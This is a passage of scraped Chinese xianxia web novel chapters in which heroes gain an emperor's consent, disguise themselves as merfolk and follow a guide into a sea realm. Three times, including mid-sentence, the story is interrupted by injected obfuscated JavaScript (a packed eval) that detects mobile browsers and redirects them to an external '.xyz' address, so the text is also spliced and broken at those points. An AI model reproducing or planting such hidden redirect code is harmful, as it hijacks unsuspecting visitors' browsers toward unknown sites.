d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415307|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,而他们之所以能做到这一点,他想,应该是因为他们的心始终那么坚定,那种从不为彼此以外的任何事物动摇的特质,才是不断吸引人们飞蛾扑火的根源所在。 闰和帝想了许多,回过神来,也只是说道。 “很强,强到许多人都没有与他们对战的胆魄。” 云修泽不卑不亢的回道。 “陛下,他们也不是一开始就如此强的,我也许无法向您保证我们都能够毫发无伤的活下来,但若是像您说的那些人一样,连面对的勇气都没有了,那我们又何必走到今天这一步?” 他顿了顿,接着说道。 “修士修行历练,从没有一帆风顺的道理,我和我的同伴们每一个人都受过重伤,但我们仍然相互扶持走到了现在,陛下,您是盛微的亲人,我也明白您放心不下,但是她有她执着的理由,我唯一可以向您保证的就是,我一定会拼上性命护她的周全。” 云修泽笑了笑,语气轻松了不少。 “况且,如果我们真的和闻潺打起来了,您或许还可以期待一下我们能为您铲除这个隐患。” 闰和帝明知他说的是天方夜谭,多数就是为了哄他答应,也还是忍不住龙颜大悦,笑道。 “那可真是再好不过了,行了,少年人意气风发,什么都敢尝试,朕也不好总是当这个拦路虎,这事儿朕同意了,位置在哪儿跟你说也说不清楚,之后朕会派船和一些好手跟着你们,回去等着吧。” 他叫停了云修泽行的礼,说道。 “不过你说会拿性命保护青儿的话朕可记下了,朕也知道你们情投意合,若你薄情负她,或者将她置于险境,朕可是要找你麻烦的。” 这话更多的是以舅舅的身份说的,云修泽没想到他也看出来了,不禁怀疑自己是不是真的表现如此明显,也许、至少在长辈面前,他们还是得收敛一些。 云修泽后知后觉冒出点儿面对长辈的羞赧来,完全看不出刚刚还在冷静强势的和他讨价还价,红着耳根,郑重的应了一声是。 两人从皇宫出来时已经接近傍晚。 天盛微问他和闰和帝说了些什么,云修泽也只是避轻就重的说闰和帝已经同意,之后会派人带他们前去。 天盛微看出他没有将事实全部说出来,但是也没有选择追问。 两人路过明王府,云修泽看着上面的牌匾,转头问道。 “这次会很危险,对策都还没来得及商量,走之前,你要不要先去见见你的父母?” 他们来到计都,她母亲倒是不一定,但既然明水心知道了,那明父就一定也知道,只是还在等她自己回家。 天盛微沉默着又走了一段路,才说道。 “正是因为危险,等回来吧,去找镜双子前,我会回一趟家的。” 云修泽拉住她的手,慢慢嗯了一声。 等他们回到将军府,知道幼宁醒来,也一起去看了看。 她已经起身,正和于商楹还有云修云三人用晚膳,见他们回来,于商楹又叫人传了两副碗筷。 问了两句幼宁的身体情况,又和几人将今天与闰和帝交涉的结果大概说了说。 云修云后知后觉的问道。 “等等......你们怎么也不惊讶幼宁是女扮男装?” 云修泽和天盛微对视一眼,耸耸肩,无辜道。 “我们也不可能随便来个人就能信任啊,虽然当时无法调查她的身份,但是她不是修士,探个经脉她又察觉不到。” “嘿!”幼宁发出点儿不满的声音。 男女经脉的确有所不同,云修云对人赤诚,从未想过还可以这样干,脸颊一鼓,也不知道在生谁的气。 * 云修泽躺在屋顶上,看着头顶被阴云遮的只剩零星几颗的星星,想起闰和帝白日所说的那些话,心中沉郁。 虽然他在闰和帝面前表现的十分笃定,但当时他不得不那样做,只要有一分犹豫或者不坚定,那就不可能这么顺利的取得他的同意。 一路上,似乎所有的人都在给他们灌输镜双子很强的想法,他们既然不能放弃,就只能逼迫自己不断的成长。 柳恒舜曾经见过镜双子,而且云修泽也不止一次感到被人窥视摆布。 云修泽不禁想到最坏的可能,也许镜双子真的一直跟在他们的身边,猫戏老鼠般逗弄着他们,他们身上一定有什么他们所图谋的东西。 云修泽感到头皮发麻,天盛微、云修云、唐思月还有行愿之前每一次鲜血淋漓的画面在他脑中不断的闪回,影玖决然的自戕,还有秉唯死去时不再灵动的双眼。 那种刺痛化为了某种尖锐的武器,回忆起来,仍然扎的他难以呼吸。 云修泽摸了摸自己的脖子,试图去缓解那幻觉般的窒息。 那个古怪的前辈究竟是为什么能对生死保持那样平淡的心态的? 夜晚的寒风吹过,纵使是有灵力护体的他也忍不住瑟缩了一下,孤身一人在此时此刻显得有点凄凉。 云修泽把自己摊在屋顶上,整个人从远处看来就像是一个‘大’字,他闭上眼,自暴自弃的想道。 啊,我想她了。 93. 疑相九 说干就干。 云修泽行动能力很强的又一次扒上了天盛微的墙头,好巧不巧,这次她也依然拿着深流。 和上次不同的是,这次她明显更加认真,招式连贯,行云流水,除了她本身就熟悉的,似乎还在研究什么新的招式,云修泽甚至从中看出了几分自己的影子。 他也不打扰她,就坐在墙头上一遍遍的看她琢磨再重复,直到她有些懊恼的把深流收回了鞘中。 “浪荡子。” “慕娇娥。” 云修泽反手撑在墙上一跃而下,闲庭信步向她走来。 “你怎么了?怎么感觉你有点焦躁?” “我想唤醒深流,却不得其法。” 天盛微抽出一小节剑身,微微一侧,上面便清晰的映出了她的双眼,视线相撞,仿佛和她对看的不再是自己,而是佩剑深流。 “褚闲醒的时候是什么感觉?” 云修泽手搭在剑柄上,回忆起当时的情形,措辞半天,也只能是试着将那种玄妙的感觉以一种不太抽象的方式说出来。 “嗯......就像跟你共用一个脑袋的哑巴兄弟突然开口说话了。” 褚闲不满的抖落了他的手,云修泽好脾气的笑了笑。 “其实那个瞬间我也没有想太多,就像是走马灯一样快速在脑海中闪过一遍之前所有的细节,然后就会发现一些之前从未留意过的,你们会全身心的信任彼此,大概就是这样。” 见天盛微沉思,云修泽揉了揉她的手腕帮她放松,他知道即将去做的事情比之前都要危险,她会焦虑的想要变得更强也是正常。 “修行不能一蹴而就,过度强求反而会伤及自身,剑灵觉醒也并非易事,褚闲当时也是断了一次,我差点都以为它没救了。” 褚闲抖了抖,这次传来的情绪倒是平静的很,好像是在安慰他。 天盛微稍微放松了一些,看着手中的深流,明白还需要等待正确的时机。 “你怎么这个时间过来了?” 往日他要翻墙通常不会超过亥时,今日却已经是子时过半。 云修泽摸了摸鼻尖,自己刚刚那么淡定的安慰完她,要是现在说自己在担心之后打不过是不是有点丢丑? 蒙混过关吧! 云修泽一把将她拉入怀中,让她坐在自己腿上,耍赖般拿额头狂蹭她的脖颈。 天盛微冷酷无情的拿手指推开他,不想说就不说,不要动手动脚。 云修泽满脸受伤。 明知他是演出来的还忍不住心软的天盛微。 “......” “......很痒。” “哦。” 两人对视,最终云修泽噗呲一声笑了出来,天盛微也笑意清浅,阴霾就这么无声无息的消散。 既然幼宁已经醒来,他们也不在将军府多做叨扰,很快就收拾收拾回了他们自己的住处。 易水之行近在眼前,他们还需商量万全之策。 妖族不像人族一样会炼制各种储物的灵器,地图被放在某个地方的可能性要更大一些。 既然不打算正面冲突,那就必然要潜入水中,时间只会长不会短,首先要解决闭气的问题,然后就是怎样才能不被水妖发现。 妖族对于妖气向来敏锐,他们之前混入佘渊也是用了三鬼画的符,现在总不能再回去找三鬼,那可就太迟了。 唐思月忽然问。 “之前的水妖丹还留着吗?” 云修泽怔了怔,迅速反应过来。 “还在!” 说着,他就翻手拿出了妖丹,数了五枚留在掌心。 嘴中含着水妖丹倒是可以掩藏他们的气息。 天盛微拿了一枚放在手中端详,尝试放在嘴中,催动妖气迅速覆盖全身,的确察觉不出修士的气息。 云修泽:“此法可行。” 天盛微想起了通神阁特制的避水丹,品质好一些的,一颗就可以让他们在水中自由来去五个时辰,于是提议可以买一些,获得了其他四人的一致同意。 门外忽然传来敲门声,五人被打断,下意识地互相看过,发现人是齐的后才慢半拍的反应过来去开门。 门打开后,一个小厮退到一边,露出真正来访者的身份,是明水心。 几人将她迎入屋中,猜不到她来的意图,但也来得巧,他们刚刚还说到通神阁。 天盛微有点忐忑,然而很快她就放下了心来。 “听说你们要去易水招惹闻潺了?” 云修泽无奈一笑,这架势,倒更像是来兴师问罪的。 “是的,您是听陛下说的吗?” 明水心似乎有些头疼。 “若不是陛下亲自开了这个御口,说什么我们明家都是不会让青儿去的。” 天盛微给她揉按着肩颈,云修泽扬着笑也没接这个话茬,伸手不打笑脸人,反正易水他们是去定了,谁来说也没用。 “你们可有什么打算了吗?” 云修泽亲自给她斟了茶。 “我们并不打算正面硬闯,悄悄潜入的话,我们有水妖的妖丹,模仿妖气不成问题,只是长时间闭气还是需要通神阁的避水丹。” 明水心叹了一口气。 “这么说我来的倒是还挺巧。” “谁说不是呢?这都是缘分啊。”云修泽笑眼眯眯。 “行了,之后我会吩咐人给你们送来。” “那就谢谢明姑姑了,您今天来是有什么事儿要嘱咐吗?” 明水心也不跟他们绕弯子,秉着眼不见心不烦的原则,准备说完快点儿离开。 “水妖之中,以鲛人为尊,闻潺另一半的血脉就是鲛人,你们想要去拿地图,必然要经过他们的领地,他们和佘渊的妖族不同,领地意识要更强一些。” 其他水妖倒是没那么多忌讳,只有鲛人族,几乎是每一只都有单独的领地,看似分散,实则都紧密的围绕着最中心闻潺的领地。 也就是说,如果云修泽五人想要摸进闻潺的领地,首先就必须越过其他鲛人,这样的话,难度就更上了一层楼。 云修泽皱了皱眉,事情比他想象的还要复杂困难,或许他们可以不用进入水中,反而把闻潺引出来呢? 不行,他也不傻,不会明知是个陷阱还往里跳,那就只有他们入海这一个选项,万幸的是,虽然闻潺已经打定主意要坐收渔网之利,但是他不能实时掌握他们的动向,算不准他们何时会去投那个罗网。 现在时间差就是他们手中最大的武器,而且...... “您既然了解的那么清楚,还特地来跟我们说这个,想来心中也早已有了解决之法,还请明姑姑赐教。” 和聪明人对话就是要轻松许多,明水心终于露出点儿笑意。 “鲛人族半妖不止闻潺,其中还有一个名为朗逸,他是我们通神阁在水族埋下的暗探,有一定的地位,到时我会让他前去接应你们,你们跟着他,一定要小心行事。” 云修泽微微挑眉,云修云就直接惊讶道。 “通神阁怎么连水族都有暗探,他不是水妖吗?生活在水里,为什么要听通神阁的命令?” 明水心好脾气的解释。 “我们通神阁有恩于他,而且水族生活在水里也不能与世隔绝啊,他们必然会定期了解陆地上的情况,还有什么是比和通神阁合作更便捷的吗?半妖上岸总比纯水族来的要轻松,所以明面上他也会与我们来往,给一些好处,他自然愿意帮我们做事。” “原来如此。”云修云了然。 这么碰巧通神阁就对他有恩?云修泽更愿意相信是他们故意创造条件施的这个恩,商人无利不起早,能做到天下第一商会,定然也不是什么出淤泥而不染的白莲花。 明水心忽然与他对上视线,意味不明的笑了笑,云修泽中规中矩的回了个笑容,不过这也和他们没什么关系,瞌睡了送枕头,得利的是他们。 “那就多谢明姑姑了,您的用心良苦,我等定然不会辜负。” 明水心点了点头。 “到时他会带着你们穿越不同的领地,除了避水丹,之后我再着人送一些化形丹来,单有妖气也不行,水妖在水中又不会维持人形,你们长着两条腿下去,简直就是把有问题这三个字挂到脸上,还有鲛纱也不能少。” 不愧是明水心,思虑的十分周全,云修泽也是陷入了固定思维,差点忘了他们在水下都是原形,不由得有些懊恼,看来这几天要再好好的想一想,省的遗漏什么致命的细节。 他诚心的拱了拱手。 “多谢明姑姑。” 明水心坦然收下了他的感谢,拍了拍天盛微的手。 “青儿,临走前你不去见见你父母吗?你当时留下一封信就离开,你母亲到现在还不知道你的踪迹。” 天盛微的手紧了紧,下意识的抬眼看云修泽,云修泽默默点头,无论去还是不去,他都会在背后支持她的决定。 沉默片刻,天盛微还是说道。 “不了姑姑,此行危险,我心不定,恐惹母亲惊忧,等回来吧,回来我再去向她请罪。” 明水心了解她,也不再多劝,只是临行前还在叮嘱她万事小心,要是打起来打不过就赶紧逃跑,毕竟命才是最重要的。 天盛微一路将她送回马车上,不厌其烦的回应着她,直到看着她的马车离开,才突然生出点失落来。 云修泽从背后将她揽入怀中,云修云、唐思月和行愿也都默默站在她的身边,天盛微的心又忽然安定下来,他们一定能好好的回来,然后再次站在这片土地上。 闰和帝的动作很快,不过三四天,便安排好了一艘坚固的大船和若干人手,这次的行动比较隐秘,来送行的就只有从百忙中抽出空来的闰和帝,期间幼宁还曾派人寻问他们是否需要帮忙,云修泽也只是让她好好养伤。 船上,修士和普通人比起来,是修士要更多一些,但是无一例外的是,所有人水性都很好。 上船的普通人,一部分负责整艘船的运行掌舵,一部分负责后厨,还有一部分负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421033|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起居,除了这些,就是一队禁军,闰和帝甚至将云修泽见了觉得命苦的禁军统领严肃都派来了,不得不说是很重视他们。 到了现在,也没什么旁的话再说了,闰和帝只是叮嘱他们一句路上小心后,便吩咐人起了锚。 云修泽五人站在船上,看到他一直站在岸边,直到岸的影子彻底消失。 他们本来还有点伤感,但是很快就被云修云打破了,他兴奋地在船上跑来跑去,居然不知道从哪儿搞来一套钓具,不断招呼他们一起钓海鱼在甲板上烤着吃。 他乐颠颠的抛锚,海风吹起他的马尾,吹到他的眼睛上,让他痛失了一条刚刚咬钩的鱼。 听他哀天怨地的怪叫了几声,又很快打了鸡血似的原地复活,跟没事儿的人一样,重新兴致勃勃的钓起来。 四人不由得面面相觑,最后云修泽耸了耸肩,反正听说还有好几天的路程,一时半会儿的,钓就钓吧。 然后拿着钓鱼竿儿的背影就变成了五个。 严肃:“......” 开着船呢,速度又不慢,怎么可能钓的起来?鱼还能追着船咬钩吗? 那边传来一声惊呼,一条流光溢彩的带鱼就这么活蹦乱跳的被钓了上来。 严肃:“......” 真他妈见鬼了。 然后拿着钓鱼竿儿的背影就变成了六个。 * 月明星稀,晚风舒朗。 云修云半夜被噩梦惊醒,翻来覆去睡不着,就决定到甲板上看会儿海,却没想到除了值夜的禁卫,竟然还看到了唐思月和行愿。 唐思月坐在船边,正撑着下巴看海,从云修云的角度只能看见她的背影,却莫名觉得她浑身都透露出一股子百无聊赖的劲儿来,行愿依然站在她身边,抱着刀不言不语,你看着他,就只能想到忠诚的守卫。 “思月,行大哥,你们怎么还没睡?” 唐思月回头见他,笑了笑。 “出来吹吹风,你呢?” 云修云不好意思的挠挠头。 “做了个噩梦吓醒了。” “那就一起坐一会儿吧,海风凉的很,要是一会儿觉得冷了就赶紧回去。” 云修云笑嘻嘻的坐下。 “这话该是我对你说才是。” 月亮在海面上就宛如近在咫尺,亮堂堂的在海平线上露出了大半的身影,仿佛只要再走一段路便能将月亮揽入怀中。 三人就这么静静的待了一会儿,船体很高,从上面往下看,海面的波浪就成了涟漪,月光映在上面,显得静谧而深沉,很有让人一跃而下的冲动。 唐思月看着月亮,云修云看着她,忽然,他开口问道。 “思月,你还有个嫂嫂吗?” 他和云修泽当初调查她的身份的时候,并没有重点去排查她的家人情况,只是知道她上面还有个长子一直养在族中,没想到是已经娶了妻的。 唐思月愣了愣,反应过来是在将军府说的,没想到他还记得。 “是啊,我嫂嫂待我很好,曾经有一段时间我的心情很差,不愿出门也不让人近身,是她一直不厌其烦开导我,给我带各种新奇好玩的东西,我才慢慢好起来。” 唐思月回忆起过去,眼中露出笑意,云修云却觉得心疼,她有那么好的家人,却都丧生在了火海,剩她一个,仇人至今没有找到。 他不想再让她孤身一人。 “思月。” “嗯?” “找到镜双子之后你有想过要去干什么吗?” 唐思月想了想,笑道。 “暂时还没想过,怎么突然问这个?” “那你跟我们一起回云家吧,你要是愿意,以你的实力也可以做个客卿长老,我哥、我、盛微姐还有行愿大哥,咱们五个一直在一起。” 唐思月轻笑出声。 “傻阿云,你哥和盛微是一对,你呢?你难道一直不娶妻吗?” 云修云直勾勾的看着她,郑重的说。 “我可以,当族长的是我哥,我是否娶妻并不影响云家。” 他说的是真心话,他不确定唐思月是否对他有意,如果没有,他也愿意尊重她的意愿,不是为了将她留在身边,而是真心希望她有一个能够感到心安的归处。 唐思月也看出他的认真,捏了捏他认真的脸颊,歪头靠在自己的胳膊上,笑道。 “好啊,我会认真考虑的,谢谢我们阿云了。” 云修云看着她微红的脸颊和被笑意浸染的眼底,也情不自禁心中软成一片,他难得安静的笑起来。 “嗯,你可以一直考虑,云府一定一直向你敞开大门。” 我也是。 风渐渐不再那么刺骨,随着日升月落染上了一些日照的温度。 这是他们航行的第四天,五人照旧在甲板上钓鱼,忽然,钩一紧,绑着重重铁链的锚被放下去。 随着又一条挣扎不休的鱼甩上甲板,严肃的声音就顺着海风从远处传来。 “我们到了。” 94. 疑相十 云修泽五人来到船头,顺着严肃手指的方向看去,远处海面颜色的深浅泾渭分明,形成了一道清晰的分界线。 严肃手放在眉弓处遮着过于强烈的日光,说道。 “越过那条线就是鲛人族的领地了,不过他们领地意识强,别说海下,海面上要是有我们的船他们也会施法打翻,我们就送到这儿,再过去就会打草惊蛇了。” 他把一张符咒送到天盛微手上。 “郡主,这是陛下叫人特制的,遇水不湿,您几位有什么情况就撕了它,可以进行一次短距离传送,我们也能收到消息,虽然大概是不能协助你们拿到东西,但带你们逃跑应该是没问题的。” 天盛微刚把那张符收起来,旁边就又来了个人。 这人名为贺裘,在船上的这群修士中应该是主事的一个,不过这几天和他们都没什么特别的交集,态度不冷不热的,听严肃说他也参加过白界大比,不过当时排名落在了第十位。 云修泽不甚在意他,也不主动搭话,此时入水在即,他来话别竟然是上船后他们的第一次交谈。 “几位道友,这艘船我曾参与打造,除了本身坚固之外也刻下了许多法阵,能在滔天巨浪中撑上至少两个时辰,你们若发觉不对,还要快快回来。” 这船上有法阵,这个云修泽倒是没有注意到,他一边回话一边隐晦的和天盛微几个对视,扫到行愿时,见他微不可查的点了点头,心中了然,看来他发现了这些法阵,觉得无害便没特意说出来。 贺裘并无旁的事要叮嘱,说完就告辞离去。 送走贺裘,云修泽几人本来打算准备入水,但是又忽然注意到了行愿的面具,平日也没什么,只是到了鲛人族实在是显眼的很。 云修泽端详了他一会儿,商量道。 “行大哥,咱要不下水之后就把面具摘了,回来再带上?” 此话一出,几人的视线就全都放到了他身上,天盛微还好,云修云的期待兴奋之意就已经溢于言表。 行愿踯躅半晌,最终还是拒绝了,说道。 “我去易容。” 云修云虽然有点失望,但也没有强求,反正日子还长,等他们把镜双子的事完成,有的是时间可以慢慢解开他的心结。 几人差不多都是这么想的,默契的目送他回了船舱。 “思月。”云修泽目送着他的背影,喊了一声唐思月。 “嗯?” “从你遇到行大哥到现在已经这么久了,他的心结可有松动吗?” 唐思月:“其实是有的,尤其是认识你们之后。” 云修泽笑了笑。 “那就好。” 行愿易容没花费太长的时间,很快就顶着一张没有面具的脸回来了,脸很陌生,只有眼睛还能带给他们几分熟悉感。 虽然明知这张脸是假的,但是他们还是对他不戴面具的模样感到新奇和莫名的激动。 云修云凑上去不断的摸索着他的下颌还有脖颈处,惊叹道。 “哇,行大哥你好厉害啊,远处根本看不出来是假的,居然只有这样很仔细的摸才能勉强摸出来痕迹!” 行愿没有理会他的动手动脚,只是向云修泽点了点头,示意自己已经准备完毕。 兵刃被他们收入了储物的灵器中,天盛微和唐思月换上了特制的纱衣,三位男子则袒胸露背。 男性鲛人天性不耐,也是为了方便捕猎,基本不会和女性鲛人一样装点自己。 当着这么多人的面,云修泽和云修云还好,行愿就明显有些不自在。 云修泽注意到,问严肃说。 “所有的男性鲛人都是如此吗?” 严肃否认。 “不是,也有例外的情况。” 他吩咐人拿来了由鲛纱制成的帔帛挎在行愿的臂弯上。 “求偶期除外。” 女性鲛人喜爱鲛纱,通常都是由她们自己所制,男性鲛人求偶,其中一项就是向女性鲛人展示自己纺织鲛纱的能力。 纺织衣物太过繁琐,一般就是一条长长的帔帛,若女性鲛人接受了他的示爱,就会将这条帔帛挂在自己身上,从此便是一生一世一双鱼。 鲛人族中,狩猎能力不强,但是因为纺织能力强而求偶成功的不在少数,所以这还是他们比较看重的一项。 严肃一本正经道。 “你们放心,这条帔帛是精品中的精品,入了海,基本就没有男性鲛人有与你一决高下的实力。” 行愿打着赤膊绷脸站在那里,上身除了女子用的帔帛之外,再没有一点别的衣物,那帔帛架在他强制被人弯起来的手臂上,衬的皮肤白不说,就连胸肌似乎都大了几分。 行愿:“......” 其他四人:“......” 云修泽转头,嘴角险些没有压住,快速低声道。 “赶紧给他撤走!” 侍卫诚惶诚恐的从旁边抽走了。 云修泽暂时不敢和他对视,假咳两声,一转身,就装模作样的喊道。 “我们走!” 四个人唯恐在他面前笑出来,蜂拥到了船边,扑通扑通就往海里跳,留严肃一个人面对行愿还僵着没有放下的臂弯。 行愿一个冷嗖嗖的眼神甩过去,严肃就汗毛乍起,出于本能后退了些许,然后就看他一步一顿,浑身都像是冒着寒气、追杀仇人般轰然贯入水中。 严肃:“......” 我还能活着回去吗? “......” 我就知道我不该多嘴。 * 入了海的四个人还是没能逃过他的追杀,云修泽和云修云被行愿抓着各扇了一下后脑勺,就连天盛微都被他不轻不重的弹了个脑瓜崩,只有唐思月,凭借‘灵活走位’躲过一劫。 打完他就不记仇了,海中不能张口说话,他静静的浮在那里,看大云小云捂着肚子蜷起来狂抖,一副状似疯癫大笑还笑惨了的模样,旁边端庄的行愿将他们衬得更加丧心病狂。 云修云笑是因为觉得有趣,云修泽更多的是发自内心的高兴,今日行愿的举动大大超出了他的预期,心结的松动似乎在他们眼前具象化了,就像是取得了阶段性的大胜利一样让他神清气爽! 虽然这件事情真的很搞笑。 ——哈哈哈哈哈哈哈!!!!! 天盛微和唐思月没去凑合那两个发神经的,聚在一起研究身上的鲛纱。 鲛纱沾了水也并不显得笨重,轻若无物的微浮着,随着她们的动作变幻,梦幻又动人,而且还很好的过渡了冰冷海水带来的凉意,这点让唐思月很满意。 等那两兄弟发癫发够了,他们才一起吞下了化形丹和避水丹,又将水妖丹含在嘴中,从头到脚便焕然一新,仿佛真的是天生的鲛人族。 嗑药磕的有点狠了。 云修泽有点不适应的摆了摆鱼尾,鱼尾柔软灵活,并不像人类一样拥有骨关节,他莫名想到了之前被自己和天盛微引得打结的藤蔓,很担心自己会不会也游着游着给自己打个结。 他还在慢慢适应,转头一看,云修云就已经在甩着鱼尾晕头转向的到处乱冲乱撞了。 云修泽:“......” 幸亏海底不能说话,不然又不知道吵成什么样子。 云修云用神识在几人脑中兴奋大叫。 “你们看我!快看我!哈哈哈哈哈!我去!好有意思啊哈哈哈!” 云修泽:“......” 失策了,忘了还可以用神识交流。 他们三个相比,行愿的身材要更强壮一些,他十分稳重且迅速的适应了鱼尾,静止不动时就像是沉默又强大的猎手,不过他现在正忙于拦截云修云去撞那些路过无辜的海鱼。 等云修泽再去看天盛微和唐思月,就实打实让他感受了一波美貌冲击。 鲛人族的鱼尾都是亮银色,映的肌肤雪白,耳鳍代替了双耳,几乎透明无色,边缘呈波浪式的起伏,眼睛是宝蓝色,竖瞳让其显得妖异非常,微微张口,还能看见被隐藏的森然利齿,让人明白她们并不如外表那般柔弱无害。 云修泽不是不知道鲛人长什么样子,只是安在她们两个人身上,几乎成了作弊的武器,让他觉得美艳妖异的同时,又给了他一种陌生之感,仿佛他并不认识她们,只是一个不幸被她们盯上的猎物。 尤其是当这一冷一热的两人游过来围着他轻轻转圈的时候,那种蓄势待发,随时会给他致命一击的感觉就愈加强烈。 天盛微的手从他的背后攀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426270|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了他的脖颈,整个人贴到他的身上,神情冷淡,瞳孔却越发收紧。 云修泽的喉结滚了滚,被她发觉,戏弄般用利爪滑过。 “你可有帔帛献我?” 云修泽晕头转向,根本经不起丝毫撩拨,仰着头语言混乱的说。 “我、我回去就给你织!” “噗!” 唐思月捂着嘴笑起来。 “盛微,你快别逗他了,老大脑袋都要烧傻了!” 她一笑,刚刚那种紧张的气氛就荡然消失,天盛微搂着他的脖子换到他的身前,云修泽反应过来,揽住她的腰,无奈的笑道。 “两个促侠鬼。” 他忍不住问天盛微。 “我看起来也很不一样吗?” 实际上是的,当云修泽的眼睛认真看人时,向来让人觉得情深,中和了他骨子里的疏离,但是蓝色的妖瞳却冰冷,纵使笑着也察觉不出他的温度,总像是在筹谋算计,非人之感异常强烈,这也是为什么天盛微忍不住来逗逗他的原因。 总之,天盛微很满意他耳根的那点红。 不知何处忽然飘来一阵歌声,若隐若现,悠扬悦耳。 五人瞬间警惕,不再打闹,快速背对背聚到了一起。 歌声四处而来,带着清心的功效,分不清究竟是哪个方位,等到它慢慢停了,下面才出现了一条鲛人的身影。 他气定神闲的游过来,面容成熟妖异,无视他们的戒备,噙着笑意在不远处停下来。 “你们是通神阁说的那群人?” 云修泽皱了皱眉。 “你是朗逸?” 他拿出一个铃铛摇了摇,那铃铛也是神奇,在水下竟也发出了清脆的声音,随之而来的就是另一道和音。 几人循声看去,是从朗逸身上发出的,只见他蹼爪中也抓着个一样的铃铛,响过之后就化为了齑粉消散在海中。 这是明水心交给他们用来分辨朗逸身份的,看来的确是他无疑。 几人放松了一些警惕,云修云在神识中哔哔赖赖。 “长成这个样子,为什么要叫朗逸?” 按长相来说,也应该叫更妖艳一些的名字才对。 朗逸的眼神在天盛微和唐思月身上停留的时间明显更长,三个人毫不掩饰的挡在她们身前,挑眉传达的意思十分清晰。 ——试试? 朗逸摆摆手。 “我生活在海中,伴侣自然想找鲛人,再不济也是个半妖,你们是纯正的人族,再好看我也不会出手的。” 如此坦荡,几人也不好跟他计较。 云修泽问道。 “你带我们潜入王殿,不怕闻潺之后找你麻烦吗?” 朗逸耸了耸肩。 “我会尽量少惊动一些鲛人,而且我和王还有点旧交,就算被发现了,应该也不至于对我赶尽杀绝,顶多把我赶到岸上去,到了岸上,自然有通神阁罩着我,我不亏。” 他围着几人游了一圈,饶有兴致的问道。 “如果我真的去了岸上,那我就可以找人族的伴侣了,到时候我可以追求你们吗?” 天盛微和唐思月没有理这个话茬,云修云就冷哼一声。 “有胆子你就试试!” 朗逸被拒了也不恼,仍旧笑眯眯的。 “哎呀,真无情。” 他玩笑话说够了,就停下来指了一个方向,道。 “该走了,你们来的正是时候,我打听到王今日不在领地,你们跟在我身后,我带你们穿越其他鲛人的领地,只有平级或者地位比我高的会来问一嘴,到时候我来应付,你们别说话,装听不懂就行。” 闻潺不在?那可真是太好了,而且鲛人族等级还比较森严,这样的话,惊动的鲛人就要比他们预期的要少上许多。 云修泽问道。 “你知道我们要找的东西在哪儿?” 朗逸道。 “不清楚,我连你们要找什么都不知道,不过王有一个专门放各种珍宝的大殿,从不让别的妖接近,你们要找的大概率也在那里。” 云修泽点点头,不再多问,示意他在前带路。 五个人围在一起互相握了握手,随即就跟着朗逸慢慢游向了更加冰冷的海域。 95. 疑相十一 朗逸给他们每个人手腕上都带上了一株环状的海草,轻若无物的攀附着他们的手臂,仔细看还有着宛如呼吸一般起伏。 这草好像成了什么通行令,一些鲛人甚至还没靠近,看到了这种草就如同明白了什么,自然的转身离开为他们放行。 朗逸解释说,这草名为朔解,是鲛人族伴生的灵草。 鲛人族是卵生,蛋在脱离母体后,就会被放置在有朔解生长的地方慢慢孵化,直到蛋壳从一个拳头的大小转变为半人高左右,鲛人才会破壳而出。 而鲛人族从破壳之后就是成体模样,朔解会自动盘生在幼体的手腕上,直到幼体成年,成年后,他们的体内会散发出一种特殊的气味,只有朔解能够察觉到,届时它们就会自动脱落。 所以鲛人族也是靠着朔解来分辨同族是否成年。 并非所有的鲛人族都有单独的领地,只有实力较为强大,或者受到王的信赖的鲛人才会拥有,其余的族人则会分散在各个领地,作为这片领地主人的下级附属。 一般来说在这片领地诞生的幼体,都应该由领主带领前往王的领地,由王亲自赋予认可和赐福。 现在云修泽五人扮演的正是这样的角色,只不过他们手腕上盘的朔解是被他们强制弯折的,如果仔细看肯定还是能看出真假。 没有办法,他们这样最不容易引起怀疑,之前察觉到他们路过的鲛人,远远的看到他们手上的朔解,就自然而然的认为是要带去给王赐福,一般就不会靠近多问,但也总有例外。 云修泽远远的见着一条鲛人挎着帔帛游过来,朗逸似乎是不耐烦的啧了一声,但也没有无视他,反而换上一张笑脸,规规矩矩的带着他们停在了原地。 帔帛,这条鲛人在求偶期。 云修泽三人有意无意将天盛微和唐思月挡了起来。 虽然现在他们五个在鲛人族眼中就是幼崽,但也难保会出什么意外。 趁他还没游到眼前,朗逸小心叮嘱。 “新生的鲛人暂时是不会‘张口说话’的,他还在求偶期,会比平日里更加麻烦,到时候无论说什么,你们都要装听不懂。” 几人都谨慎的点了点头。 鲛人族出美人,无论男女相貌都很出色,游来的这条也是如此,他目光始终盘旋在云修泽五人身上,见到朔解草也没有什么明显的神色变化。 他停在朗逸面前,说的话几人也不用装听不懂,因为是真的听不懂,这明显就是水族自己的语言。 两条鲛人似乎是在谈论他们,目光时不时会来他们身上转上一圈儿,忽然那条鲛人切换了语言,用云修泽他们的话说道。 